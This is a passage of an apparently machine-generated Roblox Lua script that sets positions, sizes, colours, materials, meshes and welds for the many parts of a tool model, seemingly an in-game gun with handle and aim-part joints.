- Part166.Position = Vector3.new(143.752945, 3.89991212, 144.500931)
- Part166.Orientation = Vector3.new(90, 90, 0)
- Part166.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh167.Parent = Part166
- CylinderMesh167.Scale = Vector3.new(0.166666672, 0.666666627, 0.833333373)
- CylinderMesh167.Scale = Vector3.new(0.166666672, 0.666666627, 0.833333373)
- Part168.Parent = Tool0
- Part168.Material = Enum.Material.Metal
- Part168.BrickColor = BrickColor.new("Dark stone grey")
- Part168.Rotation = Vector3.new(-90, 0, 90)
- Part168.Anchored = true
- Part168.FormFactor = Enum.FormFactor.Custom
- Part168.Size = Vector3.new(0.213333338, 0.400000006, 0.200000003)
- Part168.CFrame = CFrame.new(144.28627, 3.88657904, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part168.BottomSurface = Enum.SurfaceType.Smooth
- Part168.TopSurface = Enum.SurfaceType.Smooth
- Part168.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part168.Position = Vector3.new(144.28627, 3.88657904, 144.39093)
- Part168.Orientation = Vector3.new(-90, 90, 0)
- Part168.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh169.Parent = Part168
- BlockMesh169.Scale = Vector3.new(1, 1, 0.699999988)
- BlockMesh169.Scale = Vector3.new(1, 1, 0.699999988)
- Part170.Parent = Tool0
- Part170.Material = Enum.Material.Metal
- Part170.BrickColor = BrickColor.new("Dark stone grey")
- Part170.Rotation = Vector3.new(180, 0, 90)
- Part170.Anchored = true
- Part170.FormFactor = Enum.FormFactor.Custom
- Part170.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part170.CFrame = CFrame.new(144.106277, 3.99324799, 144.500931, 0, -1, -0, -1, 0, -0, 0, 0, -1)
- Part170.BottomSurface = Enum.SurfaceType.Smooth
- Part170.TopSurface = Enum.SurfaceType.Smooth
- Part170.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part170.Position = Vector3.new(144.106277, 3.99324799, 144.500931)
- Part170.Orientation = Vector3.new(0, -180, -90)
- Part170.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh171.Parent = Part170
- SpecialMesh171.Scale = Vector3.new(0.166666299, 0.200000286, 0.0333333388)
- SpecialMesh171.MeshType = Enum.MeshType.Wedge
- SpecialMesh171.Scale = Vector3.new(0.166666299, 0.200000286, 0.0333333388)
- Part172.Parent = Tool0
- Part172.Material = Enum.Material.Metal
- Part172.BrickColor = BrickColor.new("Dark stone grey")
- Part172.Rotation = Vector3.new(-180, 0, 0)
- Part172.Anchored = true
- Part172.FormFactor = Enum.FormFactor.Custom
- Part172.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part172.CFrame = CFrame.new(144.936279, 4.02657318, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
- Part172.BottomSurface = Enum.SurfaceType.Smooth
- Part172.TopSurface = Enum.SurfaceType.Smooth
- Part172.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part172.Position = Vector3.new(144.936279, 4.02657318, 144.387604)
- Part172.Orientation = Vector3.new(0, 180, 180)
- Part172.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh173.Parent = Part172
- CylinderMesh173.Scale = Vector3.new(0.2499993, 0.166666672, 0.25000006)
- CylinderMesh173.Scale = Vector3.new(0.2499993, 0.166666672, 0.25000006)
- Part174.Parent = Tool0
- Part174.Material = Enum.Material.Metal
- Part174.BrickColor = BrickColor.new("Dark stone grey")
- Part174.Rotation = Vector3.new(-90, 0, 90)
- Part174.Anchored = true
- Part174.FormFactor = Enum.FormFactor.Custom
- Part174.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part174.CFrame = CFrame.new(144.216263, 3.99324799, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part174.BottomSurface = Enum.SurfaceType.Smooth
- Part174.TopSurface = Enum.SurfaceType.Smooth
- Part174.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part174.Position = Vector3.new(144.216263, 3.99324799, 144.500931)
- Part174.Orientation = Vector3.new(-90, 90, 0)
- Part174.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh175.Parent = Part174
- BlockMesh175.Scale = Vector3.new(0.0333333462, 0.899998665, 0.166666642)
- BlockMesh175.Scale = Vector3.new(0.0333333462, 0.899998665, 0.166666642)
- Part176.Parent = Tool0
- Part176.Material = Enum.Material.Metal
- Part176.BrickColor = BrickColor.new("Dark stone grey")
- Part176.Rotation = Vector3.new(90, 0, -180)
- Part176.Anchored = true
- Part176.FormFactor = Enum.FormFactor.Custom
- Part176.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part176.CFrame = CFrame.new(144.909607, 4.01991081, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part176.BottomSurface = Enum.SurfaceType.Smooth
- Part176.TopSurface = Enum.SurfaceType.Smooth
- Part176.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part176.Position = Vector3.new(144.909607, 4.01991081, 144.444275)
- Part176.Orientation = Vector3.new(90, 180, 0)
- Part176.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh177.Parent = Part176
- CylinderMesh177.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
- CylinderMesh177.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
- Part178.Parent = Tool0
- Part178.Material = Enum.Material.Metal
- Part178.BrickColor = BrickColor.new("Dark stone grey")
- Part178.Rotation = Vector3.new(-90, 0, 90)
- Part178.Anchored = true
- Part178.FormFactor = Enum.FormFactor.Custom
- Part178.Size = Vector3.new(0.200000003, 0.573333442, 0.200000003)
- Part178.CFrame = CFrame.new(144.019608, 3.98323798, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part178.BottomSurface = Enum.SurfaceType.Smooth
- Part178.TopSurface = Enum.SurfaceType.Smooth
- Part178.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part178.Position = Vector3.new(144.019608, 3.98323798, 144.28093)
- Part178.Orientation = Vector3.new(-90, 90, 0)
- Part178.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh179.Parent = Part178
- BlockMesh179.Scale = Vector3.new(0.0333333351, 1, 0.0666666403)
- BlockMesh179.Scale = Vector3.new(0.0333333351, 1, 0.0666666403)
- Part180.Parent = Tool0
- Part180.Material = Enum.Material.Metal
- Part180.BrickColor = BrickColor.new("Dark stone grey")
- Part180.Rotation = Vector3.new(90, 0, -180)
- Part180.Anchored = true
- Part180.FormFactor = Enum.FormFactor.Custom
- Part180.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part180.CFrame = CFrame.new(144.939606, 4.05324221, 144.457596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part180.BottomSurface = Enum.SurfaceType.Smooth
- Part180.TopSurface = Enum.SurfaceType.Smooth
- Part180.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part180.Position = Vector3.new(144.939606, 4.05324221, 144.457596)
- Part180.Orientation = Vector3.new(90, 180, 0)
- Part180.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh181.Parent = Part180
- CylinderMesh181.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
- CylinderMesh181.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
- Part182.Parent = Tool0
- Part182.Material = Enum.Material.Metal
- Part182.BrickColor = BrickColor.new("Dark stone grey")
- Part182.Rotation = Vector3.new(-90, 0, 90)
- Part182.Anchored = true
- Part182.FormFactor = Enum.FormFactor.Custom
- Part182.Size = Vector3.new(0.200000003, 0.906666696, 0.200000003)
- Part182.CFrame = CFrame.new(144.186279, 3.983248, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part182.BottomSurface = Enum.SurfaceType.Smooth
- Part182.TopSurface = Enum.SurfaceType.Smooth
- Part182.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part182.Position = Vector3.new(144.186279, 3.983248, 144.39093)
- Part182.Orientation = Vector3.new(-90, 90, 0)
- Part182.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh183.Parent = Part182
- BlockMesh183.Scale = Vector3.new(0.266666472, 1, 0.0666666701)
- BlockMesh183.Scale = Vector3.new(0.266666472, 1, 0.0666666701)
- Part184.Parent = Tool0
- Part184.Material = Enum.Material.Metal
- Part184.BrickColor = BrickColor.new("Dark stone grey")
- Part184.Rotation = Vector3.new(90, 0, -180)
- Part184.Anchored = true
- Part184.FormFactor = Enum.FormFactor.Custom
- Part184.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part184.CFrame = CFrame.new(144.909607, 4.01991081, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part184.BottomSurface = Enum.SurfaceType.Smooth
- Part184.TopSurface = Enum.SurfaceType.Smooth
- Part184.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part184.Position = Vector3.new(144.909607, 4.01991081, 144.337601)
- Part184.Orientation = Vector3.new(90, 180, 0)
- Part184.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh185.Parent = Part184
- CylinderMesh185.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
- CylinderMesh185.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
- Part186.Parent = Tool0
- Part186.Material = Enum.Material.Metal
- Part186.BrickColor = BrickColor.new("Dark stone grey")
- Part186.Rotation = Vector3.new(90, 0, -180)
- Part186.Anchored = true
- Part186.FormFactor = Enum.FormFactor.Custom
- Part186.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part186.CFrame = CFrame.new(145.009598, 4.00324106, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part186.BottomSurface = Enum.SurfaceType.Smooth
- Part186.TopSurface = Enum.SurfaceType.Smooth
- Part186.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part186.Position = Vector3.new(145.009598, 4.00324106, 144.337601)
- Part186.Orientation = Vector3.new(90, 180, 0)
- Part186.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh187.Parent = Part186
- BlockMesh187.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
- BlockMesh187.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
- Part188.Parent = Tool0
- Part188.Material = Enum.Material.Metal
- Part188.BrickColor = BrickColor.new("Dark stone grey")
- Part188.Rotation = Vector3.new(-90, 0, 90)
- Part188.Anchored = true
- Part188.FormFactor = Enum.FormFactor.Custom
- Part188.Size = Vector3.new(0.200000003, 0.533333361, 0.200000003)
- Part188.CFrame = CFrame.new(144.752945, 3.88657904, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part188.BottomSurface = Enum.SurfaceType.Smooth
- Part188.TopSurface = Enum.SurfaceType.Smooth
- Part188.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part188.Position = Vector3.new(144.752945, 3.88657904, 144.39093)
- Part188.Orientation = Vector3.new(-90, 90, 0)
- Part188.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh189.Parent = Part188
- BlockMesh189.Scale = Vector3.new(0.733333349, 1, 0.699999988)
- BlockMesh189.Scale = Vector3.new(0.733333349, 1, 0.699999988)
- Part190.Parent = Tool0
- Part190.Material = Enum.Material.Metal
- Part190.BrickColor = BrickColor.new("Dark stone grey")
- Part190.Reflectance = 0.20000000298023
- Part190.Rotation = Vector3.new(0, 0, -90)
- Part190.Anchored = true
- Part190.FormFactor = Enum.FormFactor.Custom
- Part190.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part190.CFrame = CFrame.new(144.392929, 3.873245, 144.267593, 0, 1, -0, -1, 0, 0, 0, 0, 1)
- Part190.BottomSurface = Enum.SurfaceType.Smooth
- Part190.TopSurface = Enum.SurfaceType.Smooth
- Part190.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part190.Position = Vector3.new(144.392929, 3.873245, 144.267593)
- Part190.Orientation = Vector3.new(0, 0, -90)
- Part190.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh191.Parent = Part190
- SpecialMesh191.MeshId = "http://www.roblox.com/asset/?id=3270017"
- SpecialMesh191.Scale = Vector3.new(0.0666666701, 0.100000001, 0.0333333351)
- SpecialMesh191.MeshType = Enum.MeshType.FileMesh
- SpecialMesh191.Scale = Vector3.new(0.0666666701, 0.100000001, 0.0333333351)
- Part192.Parent = Tool0
- Part192.Material = Enum.Material.Metal
- Part192.BrickColor = BrickColor.new("Black")
- Part192.Rotation = Vector3.new(0, 90, 0)
- Part192.Anchored = true
- Part192.FormFactor = Enum.FormFactor.Custom
- Part192.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part192.CFrame = CFrame.new(144.469604, 3.88990998, 144.28093, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Part192.BottomSurface = Enum.SurfaceType.Smooth
- Part192.TopSurface = Enum.SurfaceType.Smooth
- Part192.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part192.Position = Vector3.new(144.469604, 3.88990998, 144.28093)
- Part192.Orientation = Vector3.new(0, 90, 0)
- Part192.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh193.Parent = Part192
- SpecialMesh193.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
- SpecialMesh193.MeshType = Enum.MeshType.Wedge
- SpecialMesh193.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
- Part194.Parent = Tool0
- Part194.Material = Enum.Material.Metal
- Part194.BrickColor = BrickColor.new("Dark stone grey")
- Part194.Rotation = Vector3.new(-180, 0, 0)
- Part194.Anchored = true
- Part194.FormFactor = Enum.FormFactor.Custom
- Part194.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part194.CFrame = CFrame.new(144.939606, 3.99657202, 144.39093, 1, 0, 0, 0, -1, 0, 0, 0, -1)
- Part194.BottomSurface = Enum.SurfaceType.Smooth
- Part194.TopSurface = Enum.SurfaceType.Smooth
- Part194.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part194.Position = Vector3.new(144.939606, 3.99657202, 144.39093)
- Part194.Orientation = Vector3.new(0, 180, 180)
- Part194.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh195.Parent = Part194
- BlockMesh195.Scale = Vector3.new(0.799999535, 0.0666666701, 0.466666788)
- BlockMesh195.Scale = Vector3.new(0.799999535, 0.0666666701, 0.466666788)
- Part196.Parent = Tool0
- Part196.Material = Enum.Material.Metal
- Part196.BrickColor = BrickColor.new("Dark stone grey")
- Part196.Rotation = Vector3.new(90, 0, -180)
- Part196.Anchored = true
- Part196.FormFactor = Enum.FormFactor.Custom
- Part196.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part196.CFrame = CFrame.new(144.389603, 3.90657496, 144.28093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part196.BottomSurface = Enum.SurfaceType.Smooth
- Part196.TopSurface = Enum.SurfaceType.Smooth
- Part196.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part196.Position = Vector3.new(144.389603, 3.90657496, 144.28093)
- Part196.Orientation = Vector3.new(90, 180, 0)
- Part196.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh197.Parent = Part196
- CylinderMesh197.Scale = Vector3.new(0.400000036, 0.0333333351, 2)
- CylinderMesh197.Scale = Vector3.new(0.400000036, 0.0333333351, 2)
- Part198.Parent = Tool0
- Part198.Material = Enum.Material.Metal
- Part198.BrickColor = BrickColor.new("Dark stone grey")
- Part198.Rotation = Vector3.new(90, 0, -90)
- Part198.Anchored = true
- Part198.FormFactor = Enum.FormFactor.Custom
- Part198.Size = Vector3.new(0.200000003, 0.633333325, 0.200000003)
- Part198.CFrame = CFrame.new(144.002945, 3.84657598, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part198.BottomSurface = Enum.SurfaceType.Smooth
- Part198.TopSurface = Enum.SurfaceType.Smooth
- Part198.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part198.Position = Vector3.new(144.002945, 3.84657598, 144.500931)
- Part198.Orientation = Vector3.new(90, 90, 0)
- Part198.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh199.Parent = Part198
- CylinderMesh199.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- CylinderMesh199.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- ManualWeld200.Name = "Part-to-Handle Strong Joint"
- ManualWeld200.Parent = Part198
- ManualWeld200.C0 = CFrame.new(-0.100000001, -0.316666663, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld200.C1 = CFrame.new(0.210006714, 0.0810937881, 0.400619507, -1, 0, 0, 0, 6.29127026e-05, -1, 0, -1, -6.29127026e-05)
- ManualWeld200.Part0 = Part198
- ManualWeld200.Part1 = Part30
- Part201.Parent = Tool0
- Part201.Material = Enum.Material.Metal
- Part201.BrickColor = BrickColor.new("Dark stone grey")
- Part201.Rotation = Vector3.new(-90, -90, 0)
- Part201.Anchored = true
- Part201.FormFactor = Enum.FormFactor.Custom
- Part201.Size = Vector3.new(0.200000003, 0.200000003, 0.400000244)
- Part201.CFrame = CFrame.new(144.28627, 3.97324204, 144.490952, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part201.BottomSurface = Enum.SurfaceType.Smooth
- Part201.TopSurface = Enum.SurfaceType.Smooth
- Part201.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part201.Position = Vector3.new(144.28627, 3.97324204, 144.490952)
- Part201.Orientation = Vector3.new(0, -90, 90)
- Part201.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh202.Parent = Part201
- BlockMesh202.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
- BlockMesh202.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
- Part203.Parent = Tool0
- Part203.Material = Enum.Material.Metal
- Part203.BrickColor = BrickColor.new("Dark stone grey")
- Part203.Rotation = Vector3.new(-90, 0, 90)
- Part203.Anchored = true
- Part203.FormFactor = Enum.FormFactor.Custom
- Part203.Size = Vector3.new(0.200000003, 0.233333334, 0.200000003)
- Part203.CFrame = CFrame.new(143.969604, 3.83989501, 144.494263, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part203.BottomSurface = Enum.SurfaceType.Smooth
- Part203.TopSurface = Enum.SurfaceType.Smooth
- Part203.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part203.Position = Vector3.new(143.969604, 3.83989501, 144.494263)
- Part203.Orientation = Vector3.new(-90, 90, 0)
- Part203.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh204.Parent = Part203
- BlockMesh204.Scale = Vector3.new(0.0333333351, 1, 0.233333275)
- BlockMesh204.Scale = Vector3.new(0.0333333351, 1, 0.233333275)
- Part205.Parent = Tool0
- Part205.Material = Enum.Material.Metal
- Part205.BrickColor = BrickColor.new("Dark stone grey")
- Part205.Rotation = Vector3.new(90, 0, -180)
- Part205.Anchored = true
- Part205.FormFactor = Enum.FormFactor.Custom
- Part205.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part205.CFrame = CFrame.new(144.389603, 3.90657496, 144.254272, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part205.BottomSurface = Enum.SurfaceType.Smooth
- Part205.TopSurface = Enum.SurfaceType.Smooth
- Part205.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part205.Position = Vector3.new(144.389603, 3.90657496, 144.254272)
- Part205.Orientation = Vector3.new(90, 180, 0)
- Part205.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh206.Parent = Part205
- CylinderMesh206.Scale = Vector3.new(0.100000009, 0.0333333351, 0.5)
- CylinderMesh206.Scale = Vector3.new(0.100000009, 0.0333333351, 0.5)
- Part207.Parent = Tool0
- Part207.Material = Enum.Material.Metal
- Part207.BrickColor = BrickColor.new("Dark stone grey")
- Part207.Rotation = Vector3.new(90, 0, -90)
- Part207.Anchored = true
- Part207.FormFactor = Enum.FormFactor.Custom
- Part207.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
- Part207.CFrame = CFrame.new(143.469604, 3.89991403, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part207.BottomSurface = Enum.SurfaceType.Smooth
- Part207.TopSurface = Enum.SurfaceType.Smooth
- Part207.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part207.Position = Vector3.new(143.469604, 3.89991403, 144.500931)
- Part207.Orientation = Vector3.new(90, 90, 0)
- Part207.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh208.Parent = Part207
- CylinderMesh208.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- CylinderMesh208.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- ManualWeld209.Name = "Part-to-AimPart Strong Joint"
- ManualWeld209.Parent = Part207
- ManualWeld209.C0 = CFrame.new(0.100000001, -0.150000006, -0.100000001, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld209.C1 = CFrame.new(0.00999450684, -0.0999891758, -0.596664429, 1, 0, 0, 0, 0, 1, 0, -1, 0)
- ManualWeld209.Part0 = Part207
- ManualWeld209.Part1 = Part420
- Part210.Parent = Tool0
- Part210.Material = Enum.Material.Metal
- Part210.BrickColor = BrickColor.new("Dark stone grey")
- Part210.Rotation = Vector3.new(-180, -90, 0)
- Part210.Anchored = true
- Part210.FormFactor = Enum.FormFactor.Custom
- Part210.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part210.CFrame = CFrame.new(143.829605, 3.879915, 144.500931, 0, 0, -1, 0, -1, -0, -1, 0, -0)
- Part210.BottomSurface = Enum.SurfaceType.Smooth
- Part210.TopSurface = Enum.SurfaceType.Smooth
- Part210.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part210.Position = Vector3.new(143.829605, 3.879915, 144.500931)
- Part210.Orientation = Vector3.new(0, -90, 180)
- Part210.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh211.Parent = Part210
- CylinderMesh211.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
- CylinderMesh211.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
- Part212.Parent = Tool0
- Part212.Material = Enum.Material.Metal
- Part212.BrickColor = BrickColor.new("Dark stone grey")
- Part212.Rotation = Vector3.new(-90, 0, 90)
- Part212.Anchored = true
- Part212.FormFactor = Enum.FormFactor.Custom
- Part212.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part212.CFrame = CFrame.new(143.412933, 3.93991399, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part212.BottomSurface = Enum.SurfaceType.Smooth
- Part212.TopSurface = Enum.SurfaceType.Smooth
- Part212.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part212.Position = Vector3.new(143.412933, 3.93991399, 144.500931)
- Part212.Orientation = Vector3.new(-90, 90, 0)
- Part212.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh213.Parent = Part212
- BlockMesh213.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
- BlockMesh213.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
- ManualWeld214.Name = "Part-to-AimPart Strong Joint"
- ManualWeld214.Parent = Part212
- ManualWeld214.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- ManualWeld214.C1 = CFrame.new(0.210006714, -0.0599889755, -0.589981079, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld214.Part0 = Part212
- ManualWeld214.Part1 = Part420
- Part215.Parent = Tool0
- Part215.Material = Enum.Material.Metal
- Part215.BrickColor = BrickColor.new("Dark stone grey")
- Part215.Rotation = Vector3.new(90, 0, -90)
- Part215.Anchored = true
- Part215.FormFactor = Enum.FormFactor.Custom
- Part215.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part215.CFrame = CFrame.new(144.389603, 3.99990606, 144.294266, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part215.BottomSurface = Enum.SurfaceType.Smooth
- Part215.TopSurface = Enum.SurfaceType.Smooth
- Part215.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part215.Position = Vector3.new(144.389603, 3.99990606, 144.294266)
- Part215.Orientation = Vector3.new(90, 90, 0)
- Part215.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh216.Parent = Part215
- SpecialMesh216.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
- SpecialMesh216.MeshType = Enum.MeshType.Wedge
- SpecialMesh216.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
- Part217.Parent = Tool0
- Part217.Material = Enum.Material.Metal
- Part217.BrickColor = BrickColor.new("Dark stone grey")
- Part217.Rotation = Vector3.new(90, 0, -180)
- Part217.Anchored = true
- Part217.FormFactor = Enum.FormFactor.Custom
- Part217.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part217.CFrame = CFrame.new(144.969604, 4.01991081, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part217.BottomSurface = Enum.SurfaceType.Smooth
- Part217.TopSurface = Enum.SurfaceType.Smooth
- Part217.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part217.Position = Vector3.new(144.969604, 4.01991081, 144.444275)
- Part217.Orientation = Vector3.new(90, 180, 0)
- Part217.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh218.Parent = Part217
- CylinderMesh218.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
- CylinderMesh218.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
- Part219.Parent = Tool0
- Part219.Material = Enum.Material.Metal
- Part219.BrickColor = BrickColor.new("Dark stone grey")
- Part219.Rotation = Vector3.new(90, 0, -90)
- Part219.Anchored = true
- Part219.FormFactor = Enum.FormFactor.Custom
- Part219.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part219.CFrame = CFrame.new(144.939606, 4.0199132, 144.324265, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part219.BottomSurface = Enum.SurfaceType.Smooth
- Part219.TopSurface = Enum.SurfaceType.Smooth
- Part219.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part219.Position = Vector3.new(144.939606, 4.0199132, 144.324265)
- Part219.Orientation = Vector3.new(90, 90, 0)
- Part219.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh220.Parent = Part219
- BlockMesh220.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000042)
- BlockMesh220.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000042)
- Part221.Parent = Tool0
- Part221.Material = Enum.Material.Metal
- Part221.BrickColor = BrickColor.new("Dark stone grey")
- Part221.Rotation = Vector3.new(90, -90, 0)
- Part221.Anchored = true
- Part221.FormFactor = Enum.FormFactor.Custom
- Part221.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part221.CFrame = CFrame.new(144.562943, 3.93990898, 144.490952, 0, 0, -1, -1, 0, 0, 0, 1, 0)
- Part221.BottomSurface = Enum.SurfaceType.Smooth
- Part221.TopSurface = Enum.SurfaceType.Smooth
- Part221.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part221.Position = Vector3.new(144.562943, 3.93990898, 144.490952)
- Part221.Orientation = Vector3.new(0, -90, -90)
- Part221.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh222.Parent = Part221
- SpecialMesh222.Scale = Vector3.new(0.166666448, 0.0666666701, 0.766666651)
- SpecialMesh222.MeshType = Enum.MeshType.Wedge
- SpecialMesh222.Scale = Vector3.new(0.166666448, 0.0666666701, 0.766666651)
- Part223.Parent = Tool0
- Part223.Material = Enum.Material.Metal
- Part223.BrickColor = BrickColor.new("Dark stone grey")
- Part223.Rotation = Vector3.new(-90, 0, 90)
- Part223.Anchored = true
- Part223.FormFactor = Enum.FormFactor.Custom
- Part223.Size = Vector3.new(0.200000003, 0.906666577, 0.200000003)
- Part223.CFrame = CFrame.new(144.186279, 3.983248, 144.457596, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part223.BottomSurface = Enum.SurfaceType.Smooth
- Part223.TopSurface = Enum.SurfaceType.Smooth
- Part223.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part223.Position = Vector3.new(144.186279, 3.983248, 144.457596)
- Part223.Orientation = Vector3.new(-90, 90, 0)
- Part223.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh224.Parent = Part223
- BlockMesh224.Scale = Vector3.new(0.266666532, 1, 0.0666666701)
- BlockMesh224.Scale = Vector3.new(0.266666532, 1, 0.0666666701)
- Part225.Parent = Tool0
- Part225.Material = Enum.Material.Metal
- Part225.BrickColor = BrickColor.new("Dark stone grey")
- Part225.Rotation = Vector3.new(180, 90, 0)
- Part225.Anchored = true
- Part225.FormFactor = Enum.FormFactor.Custom
- Part225.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part225.CFrame = CFrame.new(144.109604, 3.879915, 144.500931, 0, 0, 1, 0, -1, 0, 1, 0, -0)
- Part225.BottomSurface = Enum.SurfaceType.Smooth
- Part225.TopSurface = Enum.SurfaceType.Smooth
- Part225.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part225.Position = Vector3.new(144.109604, 3.879915, 144.500931)
- Part225.Orientation = Vector3.new(0, 90, 180)
- Part225.Color = Color3.new(0.388235, 0.372549, 0.384314)
